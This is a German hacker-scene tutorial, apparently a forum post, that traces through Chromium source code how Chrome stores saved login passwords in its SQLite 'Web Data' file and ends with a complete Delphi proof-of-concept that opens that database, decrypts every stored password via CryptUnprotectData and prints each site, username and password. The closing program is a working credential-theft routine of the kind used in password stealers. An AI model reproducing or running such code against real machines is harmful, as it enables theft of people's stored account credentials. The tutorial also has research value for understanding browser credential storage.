Code:
______  __                 _____                     
___  / / /_____ _______ _____  /______ _____________ 
__  /_/ /_  __ `/_  __ `__ \  __/  __ `/_  ___/  __ \
_  __  / / /_/ /_  / / / / / /_ / /_/ /_  /   / /_/ /
/_/ /_/  \__,_/ /_/ /_/ /_/\__/ \__,_/ /_/    \____/ 
                                                     
				aka
	_________            ___    __      __________
	__  ____/______________ |  / /___  ____  ____/
	_  /    _  __ \_  ___/_ | / /_  / / /_____ \  
	/ /___  / /_/ /  /   __ |/ / / /_/ / ____/ /  
	\____/  \____//_/    _____/  \__,_/ /_____/   
					presents:    

	"Wie Google Chrome die Autocomplete-passwörter speichert" ODER "Eine unglaubliche Reise durch den Chrome Sourcecode"

[1]~~> Vorwort

Hallo und herzlich willkommen,
hier informiere ich euch, wie Google Chrome seine Autocomplete Passwörter speichert und wie man diese ausliest.
Das ganze ist nicht für Kinder gedacht, die ihren unheimlich 1337-nonpub-Stealer mit noch etwas mehr gerippten
Code aufpeppen wollen, sonder für datensicherheitstechnisch Interessierte.


[2]~~> Auf der Suche nach der verlorenen Funktion/Wie verbringe ich viel Zeit vor dem Google Sourcecode

Dann wollen wir doch mal gleich in medias res gehen und einfach anfangen. Ich persönlich bin dazu gekommen mich
mit Chrome zu befassen, als ich durch Google zufällig den Sourceccode gefunden habe.
(das sogenannte Chromium Projekt).
Den Code gibts da zum Anschauen, wirklich interessant: http://src.chromium.org/viewvc/chrome/trunk/src/
So, da wären wir also, doch was nun? Mit gesundem Menschenverstand habe ich mich erstmal durchgeklickt zu:
http://src.chromium.org/viewvc/chrom...hrome/browser/
Jetzt durchsuchen wir mal den Ordner. Ich hatte auch erst auf /autocomplete/ getippt, aber schließlich habe ich
diese Datei gefunden: http://src.chromium.org/viewvc/chrom...orm_manager.cc
Man kann schon an Namen wie "PasswordFormManager" erkennen: Bingo! Hier sind wir richtig.
Jetzt gilt es, sich durch den Quellcode zu wühlen. Auch wenn man kein C++ Experte ist, kann man ja wohl
erkennen, welche Klasse von welcher abgeleitet ist usw. Schließlich finden wir folgende Funktion:
void PasswordFormManager::Save() {
DCHECK_EQ(state_, POST_MATCHING_PHASE);
DCHECK(!profile_->IsOffTheRecord());

if (IsNewLogin())
SaveAsNewLogin();
else
UpdateLogin();
}

bzw.

void PasswordFormManager::SaveAsNewLogin() {
DCHECK_EQ(state_, POST_MATCHING_PHASE);
DCHECK(IsNewLogin());
// The new_form is being used to sign in, so it is preferred.
DCHECK(pending_credentials_.preferred);
// new_form contains the same basic data as observed_form_ (because its the
// same form), but with the newly added credentials.

DCHECK(!profile_->IsOffTheRecord());

WebDataService* web_data_service =
profile_->GetWebDataService(Profile::IMPLICIT_ACCESS);
if (!web_data_service) {
NOTREACHED();
return;
}
pending_credentials_.date_created = Time::Now();
web_data_service->AddLogin(pending_credentials_);
}

Das sagt erstmal nicht viel aus, außer dass das eigentliche Speichern offenbar von der Klasse Webdataservice
übernommen wird. Um die zu finden, hab ich einfach mal nach: ""void WebDataService" inurl:"src.chromium.org"" gegooglet
und siehe da: http://src.chromium.org/viewvc/chrom...ata_service.cc
Dort gibt es jetzt die Funktion AddLogin

void WebDataService::AddLogin(const PasswordForm& form) {
GenericRequest<PasswordForm>* request =
new GenericRequest<PasswordForm>(this, GetNextRequestHandle(), NULL,
form);
RegisterRequest(request);
ScheduleTask(NewRunnableMethod(this, &WebDataService::AddLoginImpl,
request));
}

Immer noch nicht des Pudels Kern . Also weiter zu AddLoginImpl

void WebDataService::AddLoginImpl(GenericRequest<Passwo rdForm>* request) {
if (db_ && !request->IsCancelled()) {
if (db_->AddLogin(request->GetArgument()))
ScheduleCommit();
}
request->RequestComplete();
}

Und die Suche dauert an. Jetzt wird das Ganze an eine andere Klasse übergeben, nämlich: WebDataBase::AddLogin.
Einmal mehr den Googletrick und wir sind da: http://src.chromium.org/viewvc/chrom...eb_database.cc
Und dort, endlich:
bool WebDatabase::AddLogin(const PasswordForm& form) {
SQLStatement s;
std::string encrypted_password;
if (s.prepare(db_,
"INSERT OR REPLACE INTO logins "
"(origin_url, action_url, username_element, username_value, "
" password_element, password_value, submit_element, "
" signon_realm, ssl_valid, preferred, date_created, "
" blacklisted_by_user, scheme) "
"VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)") != SQLITE_OK) {
NOTREACHED() << "Statement prepare failed";
return false;
}

s.bind_string(0, form.origin.spec());
s.bind_string(1, form.action.spec());
s.bind_wstring(2, form.username_element);
s.bind_wstring(3, form.username_value);
s.bind_wstring(4, form.password_element);
Encryptor::EncryptWideString(form.password_value, &encrypted_password);
s.bind_blob(5, encrypted_password.data(),
static_cast<int>(encrypted_password.length()));
s.bind_wstring(6, form.submit_element);
s.bind_string(7, form.signon_realm);
s.bind_int(8, form.ssl_valid);
s.bind_int(9, form.preferred);
s.bind_int64(10, form.date_created.ToTimeT());
s.bind_int(11, form.blacklisted_by_user);
s.bind_int(12, form.scheme);
if (s.step() != SQLITE_DONE) {
NOTREACHED();
return false;
}
return true;
}

Und wie wir gleich sehen, benutzt Google Chrome offenbar eine Datenbank um die Infos zu speichern, und zwar eine
SQLite-Datenbank. Was wir 2. sehen, das Passwort wird verschlüsselt.nämlich mit: Encryptor::EncryptWideString
Googlesuche: http://src.chromium.org/viewvc/chrom...r/encryptor.cc

bool Encryptor::EncryptString(const std::string& plaintext,
std::string* ciphertext) {
DATA_BLOB input;
input.pbData = const_cast<BYTE*>(
reinterpret_cast<const BYTE*>(plaintext.data()));
input.cbData = static_cast<DWORD>(plaintext.length());

DATA_BLOB output;
BOOL result = CryptProtectData(&input, L"", NULL, NULL, NULL,
0, &output);
if (!result)
return false;

// this does a copy
ciphertext->assign(reinterpret_cast<std::string::value_type*> (output.pbData),
output.cbData);

LocalFree(output.pbData);
return true;
}

Offenbar wird die Windows-API CryptProtectData genutzt, eine im allgemeinen sehr sichere Funktion.
Bei Anwendungen, die der gleiche Benutzer allerdings startet ist die Entschlüsselung beinahe zu einfach:
einfach mit CryptUnprotectData.
Aber zunächst fehlt uns noch der Speicherort der SQLite-Datenbank.
Ich wills kurz machen und zwar liegt die (bei Vista) in: %localappdata%\Google\Chrome\User Data\Default\Web Data
wobei das letzte der Name der Datei ist und kein Verzeichnis. Ich hab Chrome einfach mit Filemon überwachen lassen.
Jetzt ist eigtl. alles klar, das Entschlüsseln kann beginnen:

[3]~~> Let's Code It

Ich programmiere in Delphi, es sollte aber eigtl. in jeder höheren Programmiersprache machbar sein.
Da dies in erster Linie ein PoC werden soll, habe ich mir einfach eine SQLite-Klasse heruntergeladen, und zwar
die SQLiteTable3. Als nächstes poste ich gleich den kompletten Code, er soll wie gesagt nur ein PoC sein, sonst
würde ich versuchen den TMemoryStream zu ersetzen
Eins was noch wichtig ist: Der Passwort-BLOB ist nicht nullterminiert, das hatte mich auch sehr verwirrt,
hier noch einmal vielen Dank an nicodex.
Diese Version dürfte nur für Vista funktionieren (wegen LocalAppData), es dürfte aber kinderleicht zu portieren sein.
Ihr braucht: die CryptAPI, Chrome installiert und SQLiteTable3.
Here we go:

program conChrome;

{$APPTYPE CONSOLE}

uses
SysUtils, classes,
SQLiteTable3 in 'SQLiteTable3.pas',
CryptApi in 'CryptApi.pas';

var
DB : TSQLiteDatabase;
table : TSQLiteTable;
i : Integer;
DataIn : DATA_BLOB;
DataOut: DATA_BLOB;
DataStream : TMemorystream;
pw : String;
begin
Writeln('Google Chrome PW decrypter PoC by Hamtaro aka CorVu5');
Writeln('greetz to: nicodex (thanks alot), f0Gx, bizzit, reED, C05m05, Teyhouse & all the freaks on ircd.hopto.org');
db := TSQLiteDatabase.Create(GetEnvironmentVariable('Loc alAppData') + '\Google\Chrome\User Data\Default\Web Data'); //DB öffnen
table := DB.GetTable('SELECT * FROM logins'); //Den SQL query
While not (Table.EOF) AND (db <> nil) AND (table <> nil) do begin // solage nicht am Ende des SQL-Results
DataStream := TMemoryStream.Create;
dataStream := table.FieldAsBlob(table.FieldIndex['password_value']);//das verschlüsselte PW laden
DataIn.pbData := DataStream.Memory; //den Pointer zum verschlüsselten PW
DataIn.cbData := DataStream.Size; //die Länge/Größe des PWs
CryptUnProtectData(@DataIn, nil,nil,nil,nil,0,@DataOut); //entschlüsseln
SetLength(pw,DataOut.cbData); //für den String angemessene Größe reservieren
SetString(pw, PAnsiChar(DataOut.pbData), DataOut.cbData); //vielen Dank an nicodex //zuweisen
Writeln(table.FieldAsString(table.FieldIndex['origin_url'])); //
Writeln(table.FieldAsString(table.FieldIndex['username_value']) + ' - ' + pw); // ausgabe
Writeln('------------'); //
DataStream.Free;
Table.Next; //der nächste bitte
end;
DB.Free;
readln;
end.

Damit dürfte alles klar sein.
Fragen/Kritik/Lob/Jobangebote/Liebesschwürde bitte über ICQ an 383065218 oder per Mail an: corvu5@hushmail.com
//corvu5.6x.to



----------------
Now playing: Roy Orbison - You Got it
via FoxyTunes